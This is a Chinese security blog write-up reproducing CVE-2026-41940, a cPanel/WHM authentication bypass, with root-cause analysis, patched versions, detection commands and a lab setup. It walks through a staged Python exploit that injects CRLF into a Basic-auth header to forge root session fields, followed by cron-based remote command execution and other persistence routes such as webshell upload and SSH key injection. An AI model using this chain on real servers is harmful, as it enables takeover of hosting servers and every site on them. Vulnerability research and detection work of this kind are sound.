CVE-2026-41940 cPanel/WHM 认证绕过漏洞复现
原创
cONtro1
cONtro1
Zer0day安全
2026年6月19日 13:43
天津
在小说阅读器读本章
去阅读
一、漏洞概述
| 项目 | 详情 |
|---|---|
| 漏洞编号 | CVE-2026-41940 |
| 漏洞类型 | 认证绕过(CRLF注入 + Session编码缺陷) |
| CVSS评分 | 9.8(严重) |
| 影响产品 | cPanel & WHM v11.40之后所有版本 |
| 发现者 | Sina Kheirkhah - watchTowr Labs |
| 公开时间 | 2026年4月28日 |
| CISA KEV | 2026年5月1日列入(已野外利用) |
| CWE | CWE-306(关键功能缺失认证) |
二、背景知识
2.1 cPanel 是什么
cPanel是全球最流行的 Linux服务器Web托管管理面板,让用户通过浏览器图形界面管理服务器,不用敲命令行。
┌─────────────────────────────────────────────┐
│ 你的浏览器 │
│ https://yourserver:2087 │
└──────────────────┬──────────────────────────┘
│
┌─────────▼──────────┐
│ cPanel / WHM │ ← Web管理面板
└─────────┬──────────┘
│
┌──────────────┼──────────────┐
▼ ▼ ▼
Apache MySQL 邮件服务
(网站) (数据库) (收发邮件)
▼ ▼ ▼
DNS FTP SSL证书
(域名) (文件传输) (HTTPS)
两个界面:
| WHM | cPanel | |
|---|---|---|
| 端口 | 2087 | 2083 |
| 使用者 | 服务器管理员 / 主机商 | 网站站长 / 终端用户 |
| 权限 | root级别,管整台服务器 | 只管自己的网站 |
WHM是\"房东\",cPanel是\"租客\"。一台服务器上只有一个WHM,但可以有几百个cPanel账户。
为什么这个漏洞危害大?:cPanel全球数百万台服务器,每台往往托管几百到上千个网站。攻破WHM拿到root → 一台服务器上所有网站全部沦陷。
2.2 cpsrvd 守护进程
cpsrvd = cPanel Service Daemon,cPanel的\"大管家\",所有从浏览器到cPanel/WHM的HTTP/HTTPS请求都由它处理。它是cPanel自己用Perl写的专用Web服务器,独立运行,不是Apache/Nginx。
┌──────────────────────────────────────────────────────┐
│ 互联网 │
└──────────────────────┬───────────────────────────────┘
│ HTTPS请求
┌────────▼────────┐
│ cpsrvd │ ← 监听 2087(WHM) / 2083(cPanel)
│ (Perl守护进程) │ cPanel自己的Web服务器
└────────┬────────┘
│
┌────────────┼────────────┐
▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────────┐
│ Session │ │ 认证模块 │ │ API路由分发 │
│ 管理 │ │ (登录/2FA)│ │ (JSON-API等) │
└──────────┘ └──────────┘ └──────────────┘
cpsrvd的职责:
| 职责 | 具体内容 |
|---|---|
| HTTPS服务 | 监听2087/2083/2082/2086,自带SSL |
| Session管理 | 创建session文件、读写认证状态、超时清理 |
| 认证处理 | 表单登录、HTTP Basic认证、双因素认证 |
| 安全令牌 | 生成cpsess安全令牌,防CSRF |
| API路由 | 将请求分发给cPanel内部模块 |
作为daemon进程的守护行为:
- • 开机自启
- • 崩溃自动重启(tailwatchd watchdog)
- • 多端口监听(2087/2083/2082/2086)
- • fork模型处理并发
三、漏洞原理深度分析
3.1 核心机制:两个Bug叠加
Bug 1:CRLF注入(路径2无输入清理)
cpsrvd有两条代码路径向磁盘写入session文件:
用户请求
│
┌──────▼──────┐
│ cpsrvd │
│ 请求路由 │
└──────┬──────┘
│
┌────────────┴────────────┐
▼ ▼
POST /login/ GET / + Basic头
(表单登录路径) (HTTP Basic认证路径)
│ │
▼ ▼
save_session_path1() save_session_path2()
✅ sanitize_crlf() ❌ 没有sanitize
✅ 有ob_key加密密码 ❌ 无ob时明文写入
│ │
▼ ▼
安全写入 漏洞!CRLF可注入
两条路径在cpsrvd的Perl源码中是两个独立的函数,开发者在路径1中加了清理但忘了在路径2也加。
Bug 2:无ob段Cookie导致密码明文写入
Session Cookie格式为 :SESSIONID,ob_hex,其中 ob_hex 是每会话的对称加密密钥:
| Cookie状态 | 密码处理 | CRLF结果 |
|---|---|---|
| 完整Cookie(含ob段) | 密码经加密后写入 | CRLF被加密,无法被解析 |
| 去除ob段Cookie | 密码明文写入 | CRLF原样保留,可被解析 |
ob\_hex加密流程对比:
有ob_hex: 密码 → XOR/对称加密(用ob_hex做key) → \"enc:base64乱码\" → 写入session文件
↓
即使CRLF注入成功,加密后的内容无法被解析为key=value
无ob_hex: 密码 → 直接明文写入session文件
↓
CRLF注入的 \\r\
被原样保留,被解析为新的字段分隔符
攻击者必须去掉ob段——这不是破坏功能,而是cPanel的设计缺陷:当Cookie缺少ob段时,cpsrvd不会报错拒绝,而是回退到明文模式。
3.2 为什么CRLF能在路径2中原样写入session文件
这要从HTTP协议、Base64编码、cpsrvd代码逻辑三层来理解。
第一层:HTTP Basic认证格式
Authorization: Basic <base64编码的 username:password>
攻击者构造:
root:x\\r\
hasroot=1\\r\
... → base64编码 → 放进Header
关键点:Base64编码的是原始字节,\\r\(即 0x0D 0x0A)是合法字节,编码后变成合法的Base64字符串,HTTP头传输没问题。HTTP协议层面不会过滤Base64内部的字节。
payload = \"root:x\\r\
hasroot=1\"
b64 = base64.b64encode(payload.encode())
# 完全合法的Base64,没有任何特殊字符
第二层:cpsrvd解码Basic头后的处理
# cpsrvd Perl伪代码
sub handle_basic_auth {
my $auth_header = $request->header(\"Authorization\");
# 1. Base64解码
my $decoded = decode_base64($auth_header);
# $decoded = \"root:x\\r\
hasroot=1\"
# 2. 按第一个冒号分割
my ($username, $password) = split /:/, $decoded, 2;
# $username = \"root\"
# $password = \"x\\r\
hasroot=1\" ← CRLF在密码字段里了!
}
第三层:两条路径的差异
路径1(表单登录 POST /login/):
$username =~ s/[\\r\
]//g; # ← 删除\\r和\
$password =~ s/[\\r\
]//g; # ← 删除\\r和\
my $encrypted_pass = encrypt_with_ob_key($password, $ob_key);
路径2(Basic认证 GET / + Authorization头):
# ★★★ 没有sanitize ★★★
my $encoded_pass = $ob_key ? encrypt($password, $ob_key) : $password;
# 无ob_key → $encoded_pass = \"x\\r\
hasroot=1\"(原样!)
my $content = \"user=$username\
pass=$encoded_pass\
\";
# \\r\
被当作换行!
写入磁盘后的实际字节:
user=root\
← 正常字段
pass=x\\r\
← 密码值\"x\" + \\r\
(CRLF)
hasroot=1\
← cpsrvd以为这是新的一行字段!
cpsrvd重新读取时按 \ 分割,\\r 在解析时被strip,hasroot=1 变成独立的合法字段行。
Image
3.3 Session文件格式为什么可以直接被利用
cpsrvd的session文件格式是固定的、可预测的,解析逻辑简单粗暴:
规则:
\
= 字段分隔符
= = 键值分隔符
没有头部标识、没有版本号、没有magic bytes、没有签名
解析逻辑(Perl伪代码):
sub parse_session_file {
my $content = read_file($session_path);
my %session = ();
foreach my $line (split /\
/, $content) { # 按\
分割
if ($line =~ /=/) {
my ($key, $value) = split /=/, $line, 2; # 按=取键值
$session{$key} = $value; # 直接存入hash
}
}
return %session;
}
没有任何防护:
- • ❌ 不校验字段来源(是正常写入的还是注入的?)
- • ❌ 不校验字段数量(正常3-5个,注入7-8个也无所谓)
-
• ❌ 不做签名校验(没有HMAC)
-
❌ 遇到重复key直接覆盖(
user=root出现两次,后面的覆盖前面的)
正常session文件 vs 被毒化的session文件:
正常(密码错误):
user=root
pass=enc:xxxxxx ← 加密后的密码
→ 解析:2个字段,未认证
被毒化:
user=root
pass=x
successful_internal_auth_with_timestamp=9999999999 ← 注入
user=root ← 注入(覆盖前面的)
tfa_verified=1 ← 注入
hasroot=1 ← 注入
→ 解析:5个字段,包含完整认证信息 → 认证通过
cpsrvd的认证检查只看\"有没有这些字段\",不问\"这些字段从哪来的\":
sub is_authenticated {
my $session = parse_session_file($path);
if ($session{hasroot} eq \"1\"
&& $session{user} eq \"root\"
&& $session{successful_internal_auth_with_timestamp} > time() - 86400
&& $session{tfa_verified} eq \"1\") {
return 1; # 认证通过!
}
return 0;
}
本质是\"写了就信(Write-then-Trust)\"的安全缺陷——在信任边界上没有做完整性验证。
3.4 为什么伪造session就能获得root权限
因为cpsrvd的认证模型是单点信任——session文件是唯一的信任锚,没有二次校验:
- • ❌ 不会再次查
/etc/shadow验证密码 - • ❌ 不会再次查 PAM 确认身份
- • ❌ 不会检查session里的字段是不是自己写入的
正常情况: 登录成功 → cpsrvd自己写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
攻击情况: CRLF注入 → 攻击者写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
↑
它区分不出\"自己写的\"还是\"别人注入的\"
这不是cPanel独有的问题。任何基于\"服务端Session\"的认证系统,只要session存储可被注入/篡改且无完整性保护,都有同样的问题:
| 系统 | Session存储 | 攻击方式 | 完整性保护 |
|---|---|---|---|
| cPanel | 磁盘文件(键值对) | CRLF注入字段 | ❌ 无 |
| PHP | 磁盘文件(序列化) | 反序列化注入 | ❌ 无签名,但有序列化格式障碍 |
| Flask | Cookie(签名) | 签名密钥泄露 | ✅ HMAC签名 |
| JWT | Token本身 | 算法混淆/弱密钥 | ✅ 签名(但实现可能有缺陷) |
\"伪造session = 获得root\"成立的5个条件:
-
- session存储没有完整性保护(无签名/无加密) ← cPanel满足
-
- 认证判断完全依赖session内容(无二次校验) ← cPanel满足
-
- session内容可被攻击者影响(注入/覆盖/篡改) ← cPanel满足
-
- session中存在高权限标记字段(如hasroot=1) ← cPanel满足
-
- 高权限标记字段能直接决定访问权限 ← cPanel满足
四、Exploit脚本逐行拆解
4.1 脚本结构
exploit.py
├── cPanelExploit 类
│ ├── __init__() — 初始化目标、session
│ ├── stage0_discover_hostname() — 发现主机名
│ ├── stage1_get_session() — 获取预认证session
│ ├── stage2_crlf_injection() — CRLF注入
│ ├── stage3_trigger_token_denied() — 触发token_denied
│ ├── stage4_verify_access() — 验证root权限
│ ├── exploit_rce_cron() — Cron RCE
│ ├── enumerate_cpanel_users() — 枚举用户
│ ├── read_rce_output() — 读取RCE输出
│ └── run() — 运行完整利用链
└── main() — 命令行参数解析
4.2 Stage 1: 获取预认证Session
def stage1_get_session(self):
url = f\"{self.target}/login/?login_only=1\"
data = {\"user\": \"root\", \"pass\": \"wrongpassword123\"}
# ↑ 随便输个错误密码,目的是拿到session而非登录
resp = self.session.post(url, data=data, allow_redirects=False, timeout=self.timeout)
# 提取whostmgrsession cookie
cookies = resp.headers.get(\"Set-Cookie\", \"\")
match = re.search(r'whostmgrsession=([^;]+)', cookies)
if match:
raw_cookie = match.group(1)
# ★★★ 关键操作:去掉逗号后面的ob_hex段 ★★★
if \",\" in raw_cookie:
self.session_base = raw_cookie.split(\",\")[0]
# raw_cookie = \":<SESSIONID>,<ob_hex>\"
# session_base = \":<SESSIONID>\"(只有session ID,没有加密密钥)
else:
self.session_base = raw_cookie
为什么要去掉ob段:有ob段时密码会被加密写入session,CRLF注入即使写入也是密文,无法被解析为key=value。去掉ob段后密码明文写入,CRLF换行符原样保留。
4.3 Stage 2: CRLF注入毒化Session
def stage2_crlf_injection(self):
# 构造CRLF注入payload
payload_raw = \"root:x\\r\
successful_internal_auth_with_timestamp=9999999999\\r\
user=root\\r\
tfa_verified=1\\r\
hasroot=1\"
# ↑ 用户名:密码占位符
# ↑↑ \\r\
= CRLF换行符
payload_b64 = base64.b64encode(payload_raw.encode()).decode()
# Base64编码后是合法的HTTP头值,不会触发任何过滤
url = f\"{self.target}/\"
headers = {
\"Authorization\": f\"Basic {payload_b64}\",
# ★ Cookie只带session_base,不带ob段 ★
\"Cookie\": f\"whostmgrsession={quote(self.session_base, safe='')}\"
}
resp = self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
# 返回401(认证失败),但session文件已被毒化
服务器端处理:cpsrvd解码Basic头得到 username=\"root\", password=\"x\\r\
hasroot=1\\r\
...\",在路径2(无sanitize、无ob加密)下直接写入session文件,\\r\被当作字段分隔符。
各注入字段作用:
| 字段 | 值 | 作用 |
|---|---|---|
root:x |
伪造用户名:密码 | 触发Basic认证逻辑,x是密码占位符 |
successful_internal_auth_with_timestamp |
9999999999 | 伪造内部认证成功标志(时间戳设为远未来) |
user=root |
root | 伪造用户名,覆盖前面的user字段 |
tfa_verified=1 |
1 | 绕过双因素认证 |
| hasroot=1 | 1 | 关键:伪造root权限标记 |
4.4 Stage 3: 触发token\_denied传播
def stage3_trigger_token_denied(self):
url = f\"{self.target}/scripts2/listaccts\"
headers = {
\"Cookie\": f\"whostmgrsession={quote(self.session_base, safe='')}\"
}
resp = self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
# 返回307重定向 → token_denied触发成功
time.sleep(1) # 等待传播完成
do\_token\_denied做了什么:重新解析session文件内容,将所有key=value直接写入内存cache。被注入的 hasroot=1、user=root、tfa\\_verified=1 等字段在此时生效,session状态从\"未认证\"变为\"已认证root\"。
这是典型的\"错误处理路径反而放大漏洞\"模式——认证失败时触发的 do\\_token\\_denied 本该拒绝访问,反而将注入字段提升到cache生效。
4.5 Stage 4: 验证Root权限
def stage4_verify_access(self):
# 安全令牌是访问WHM API的必要路径前缀
api_url = f\"{self.target}/{self.security_token}/json-api/version\"
headers = {
\"Cookie\": f\"whostmgrsession={quote(self.session_base, safe='')}\"
}
resp = self.session.get(api_url, headers=headers, allow_redirects=False, timeout=self.timeout)
if resp.status_code == 200:
data = resp.json()
version = data.get(\"version\", \"unknown\")
# → 认证绕过成功!获得WHM root权限
4.6 Cron RCE
def exploit_rce_cron(self, command, cpanel_user=None):
if not cpanel_user:
cpanel_user = self.enumerate_cpanel_users() # 先枚举用户
# 1. 构造命令:执行后输出写入public_html
output_file = f\"rce_output_{int(time.time())}.txt\"
full_command = f\"{command} > /home/{cpanel_user}/public_html/{output_file} 2>&1\"
# 2. 调用Cron::add_line API
params = {
\"cpanel_jsonapi_user\": cpanel_user,
\"cpanel_jsonapi_module\": \"Cron\",
\"cpanel_jsonapi_func\": \"add_line\",
\"cpanel_jsonapi_apiversion\": \"2\",
\"command\": full_command, # 要执行的命令
\"day\": \"*\", \"hour\": \"*\", \"minute\": \"*\", # 每分钟执行
\"month\": \"*\", \"weekday\": \"*\"
}
resp = self.session.get(url, params=params, headers=headers)
# 3. 等待cron执行(最多1分钟)
time.sleep(65)
# 4. 通过Fileman API读取输出
output = self.read_rce_output(cpanel_user, output_file)
RCE的本质:session文件里的注入字段本身不会被执行,它们只是被当作认证判断依据。RCE是认证绕过之后通过WHM API实现的,是两步独立的操作:
Step 1: 认证绕过(CRLF注入) → 骗过门卫,拿到WHM root权限
Step 2: RCE(通过WHM API) → 用root权限调用Cron::add_line等API
Cron RCE的执行链:
攻击者调用API → cpsrvd把命令写入crontab → crond守护进程读取crontab → 执行命令
crond是Linux系统级服务,几乎永远在运行。Cron::add\_line的底层实现就是crontab写入,这是cPanel的合法功能,不是漏洞。问题在于未认证的攻击者拿到了root权限来调用这个API。
其他RCE路径:
| 方法 | 原理 | 成功率 |
|---|---|---|
| Cron::add\_line | 写crontab,crond定时执行 | 77%(最可靠) |
| Fileman::upload | 上传PHP/CGI webshell到public\_html | 较低,依赖web目录可执行 |
| api\_token\_create | 创建持久化API令牌 | 17% |
| passwd | 修改root密码 | 7% |
| generatesshkeypair | 注入SSH公钥 | 配合使用 |
Image
五、复现结果
5.1 测试环境
| 项目 | 详情 |
|---|---|
| 攻击机 | Kali Linux / Windows + Python 3 |
| 目标 | cPanel模拟环境(Python,监听2087端口) |
| 模拟版本 | cPanel 11.136.0.4(存在漏洞) |
5.2 复现步骤与结果
[Stage 1] 获取预认证Session Cookie...
→ Session Cookie 已获取
→ Session Base (无ob段): :<SESSION_ID>
✅ 成功
[Stage 2] CRLF注入毒化Session文件...
→ 响应状态码: 401 (401为预期,Session已被毒化)
→ Session文件内容包含: hasroot=1, tfa_verified=1, user=root
✅ 成功
[Stage 3] 触发do_token_denied机制...
→ 307重定向 → token_denied触发成功
→ 安全令牌已获取
✅ 成功
[Stage 4] 验证Root权限访问WHM API...
→ 200 OK
✅ 认证绕过成功!
[Post-Exploit] 枚举cPanel账户...
→ 获取到cPanel账户列表
✅ 成功
[Post-Exploit] 获取系统负载...
→ 成功获取系统信息
✅ 成功
5.3 模拟服务器日志(CRLF注入触发)
[!] CRLF注入路径被调用
has_ob=False (Cookie不含ob段)
username=root
Session文件内容:
'user=root'
'pass=x'
'successful_internal_auth_with_timestamp=9999999999'
'user=root'
'tfa_verified=1'
'hasroot=1'
[!!!] 检测到注入字段: ['hasroot', 'tfa_verified', 'user', 'successful_internal_auth_with_timestamp']
[!] do_token_denied 被触发
Cache状态: authenticated=True, hasroot=True, user=root
[!!!] 认证绕过成功!Session已被提升为root权限
六、影响版本与修复
6.1 受影响版本
| 版本分支 | 修复版本 |
|---|---|
| 11.86.\* | ≥ 11.86.0.41 |
| 11.110.\* | ≥ 11.110.0.97 |
| 11.118.\* | ≥ 11.118.0.63 |
| 11.126.\* | ≥ 11.126.0.54 |
| 11.130.\* | ≥ 11.130.0.18 |
| 11.132.\* | ≥ 11.132.0.29 |
| 11.134.\* | ≥ 11.134.0.20 |
| 11.136.\* | ≥ 11.136.0.5 |
6.2 修复方案
1. 立即升级至修复版本
-
- 防火墙限制2087/2083端口访问
-
- 启用双因素认证(虽然此漏洞可绕过2FA,但增加攻击复杂度)
-
- 监控异常Cron任务和API令牌
-
- 检查session文件目录是否存在异常字段
6.3 检测方法
# 检查cPanel版本
/usr/local/cpanel/cpanel -V
# 检查异常session文件
grep \"hasroot=1\" /var/cpanel/sessions/raw/*
# 检查异常Basic认证请求
grep \"Authorization: Basic\" /usr/local/cpanel/logs/access_log | grep \"401\"
七、根因教训
1. 两条代码路径的不一致性是安全漏洞的经典来源——同一个功能有多个入口时,输入验证必须在所有入口统一实施
2. CRLF注入不仅限于HTTP响应拆分——注入到任何文件(session文件、配置文件、日志文件)都可能造成严重后果
3. Cookie结构设计缺陷——ob段可选导致回退明文模式,应该在缺少ob段时拒绝请求
4. 错误处理路径放大漏洞——do\_token\_denied本该拒绝访问,反而将注入字段提升到cache生效
5. \"写了就信\"的信任模型——session文件没有完整性保护(HMAC签名),写入什么就信什么
八、快速复现
# 1. 构建Docker镜像
docker build -t cve-2026-41940-lab .
# 2. 启动靶机
docker run -d -p 2087:2087 --name cpanel-lab cve-2026-41940-lab
# 3. 执行Exploit
python exploit.py -t https://127.0.0.1:2087
# 或使用 docker-compose
docker-compose up -d
8.1 常见问题
可能的问题:Exploit 执行后所有 Stage 返回 401,认证绕过失败
原因:模拟环境的 Cookie 解析器未对 URL 编码做解码,而 exploit 默认对 Cookie 值中的特殊字符(如 :)做了 URL 编码(quote),导致服务器端无法匹配到正确的 Session。
排查方法:
# 检查 Session 文件是否被写入
ls -la /tmp/cpanel_sessions/raw/
# 查看文件内容是否包含注入字段
cat /tmp/cpanel_sessions/raw/*
# 如果文件为空或不存在,说明 Cookie 解析有问题
解决方案:
1. 修改 exploit:去掉 Cookie 中的 URL 编码,将 quote 改为 self.session\\_base
2. 修改模拟环境:在 parse\\_cookies 函数中对 Cookie 值添加 unquote 解码,如 from urllib.parse import unquote + unquote)
推荐方案 2,修复后 exploit 无需任何改动即可正常使用。
九、参考
- • cPanel官方安全公告
- • WatchTowr Labs分析
- • NVD - CVE-2026-41940
- • FreeBuf深度分析
本复现仅用于授权安全测试和学习研究目的。
欢迎师傅们加入Zer0day安全交流群进行友好交流
公众号回复:cve-2026-41940 领取附件
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论